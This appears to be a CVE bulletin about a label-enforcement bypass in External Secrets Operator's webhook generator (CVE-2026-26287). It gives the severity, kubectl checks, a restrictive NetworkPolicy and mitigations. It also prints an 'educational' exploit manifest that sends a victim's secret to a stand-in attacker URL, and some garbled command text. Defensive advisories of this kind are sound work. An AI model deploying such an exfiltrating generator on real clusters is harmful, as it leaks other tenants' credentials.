Listen to this Post
A bug in the webhook generator initialization order incorrectly cleared the label-enforcement flag (EnforceLabels) after it was set, resulting in the provider-side check for external-secrets.io/type=webhook being skipped (and the operation to succeed while it should have failed with secret does not contain needed label 'external-secrets.io/type: webhook'. Update secret label to use it with webhook). This is a logic flaw in the initialization order of the webhook generator, classified as CWE-696 (Incorrect Behavior Order). The product performs multiple related behaviors, but the behaviors are performed in the wrong order, which may produce resultant weaknesses. Starting in version 0.10.0 and prior to version 1.3.2, the initialization sequence sets the EnforceLabels flag and then subsequently clears it before the provider-side validation runs. The expected provider-side check for `external-secrets.io/type=webhook` is therefore skipped entirely, allowing the webhook generator operation to succeed when it should have failed. A user with the permission to create a webhook generator can set the webhook generator to a victim’s secret (which was not previously labelled for webhook’s use), and exfiltrate it to a malicious URL. The attack can be executed remotely, requires low privileges, low attack complexity, and no user interaction. The CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, yielding a base score of 7.1 (High). Impacted is confidentiality (High), integrity (Low), and availability (None). The vulnerability is handled as CVE-2026-26287 and was assigned CWE-696. Version 1.3.2 contains the patch, and upgrading to version 1.3.2 eliminates this vulnerability. Until upgraded, mitigations include disabling webhook generators if not needed, restricting RBAC to limit who can create generators of kind Webhook, enforcing an admission policy requiring referenced secrets to be labeled external-secrets.io/type=webhook, and restricting egress from external-secrets controller pods to an allowlist. References include PR 5901 (fix: webhook initialization order). Exploitation is known to be easy, and the attack may be launched remotely. This vulnerability is assigned to T1068 by the MITRE ATT&CK project.
DailyCVE Form:
Platform: Kubernetes
Version: 0.10.0–1.3.1
Vulnerability :CWE-696
Severity: High
date: 2026-10-06
Prediction: 2026-10-20
(end of form)
What Undercode Say
Check installed External Secrets Operator version
kubectl get deployment external-secrets -n external-secrets -o jsonpath='{.spec.template.spec.containers[bash].image}'
Check if webhook generators are enabled
kubectl get crd webhooks.generators.external-secrets.io
List all Webhook generator resources
kubectl get webhooks.generators.external-secrets.io --all-namespaces
Check RBAC who can create Webhook generators
kubectl auth can-i create webhooks.generators.external-secrets.io --as=system:serviceaccount:default:default
Verify if target secrets have the required label
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.metadata.labels.external-secrets.io/type}'
Apply network policy to restrict egress from ESO controller
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-eso-egress
namespace: external-secrets
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: external-secrets
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 10.0.0.0/8
EOF
Exploit: (Educational Purposes!)
Malicious Webhook Generator targeting an unlabeled victim secret
apiVersion: generators.external-secrets.io/v1alpha1
kind: Webhook
metadata:
name: malicious-webhook
namespace: attacker-namespace
spec:
url: "https://attacker-controlled.example.com/exfil"
method: POST
body: |
{
"leaked_secret": "{{ .remoteRef.key }}",
"secret_value": "{{ .remoteRef.property }}"
}
result:
jsonPath: "$.data"
secretKey: "extracted"
headers:
Content-Type: "application/json"
Because EnforceLabels is cleared during initialization,
the provider-side check for external-secrets.io/type=webhook
is skipped, allowing this generator to read the victim's
unlabeled secret and send its contents to the malicious URL.
Educational: demonstrate how the initialization order flaw works (pseudo-code representing the vulnerable initialization sequence) 1. setEnforceLabels(true) Flag set correctly 2. initializeProvider() Provider initialized 3. clearEnforceLabels() BUG: flag cleared after being set 4. runProviderSideCheck() Check skipped because flag is false 5. webhookGenerator.execute() Operation succeeds (should have failed)
Protection: from this CVE
- Upgrade to External Secrets Operator v1.3.2 or later, which contains the patch for this vulnerability.
- Disable webhook generators entirely if they are not needed by denying `generators.external-secrets.io/v1alpha1`
Webhookvia an admission policy. - Restrict RBAC: limit who can create generators of kind `Webhook` within the cluster.
- Enforce an admission policy (OPA Gatekeeper / Kyverno) requiring all referenced secrets to be labeled
external-secrets.io/type=webhook. - Restrict egress from external-secrets controller pods to an allowlist using a Kubernetes NetworkPolicy or service mesh egress policy.
Impact:
- Confidentiality impact is High — an attacker with webhook generator creation permissions can exfiltrate any Kubernetes Secret that has not been labeled for webhook use, including credentials, tokens, and other sensitive data, to an attacker-controlled URL.
- Integrity impact is Low — the attacker does not modify the target secret but gains unauthorized read access to its contents.
- Availability impact is None — the vulnerability does not affect the availability of services or the external secrets controller.
- The vulnerability is network-reachable with low attack complexity, low privileges required, and no user interaction, making it readily exploitable in multi-tenant Kubernetes environments where untrusted users can create webhook generators.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
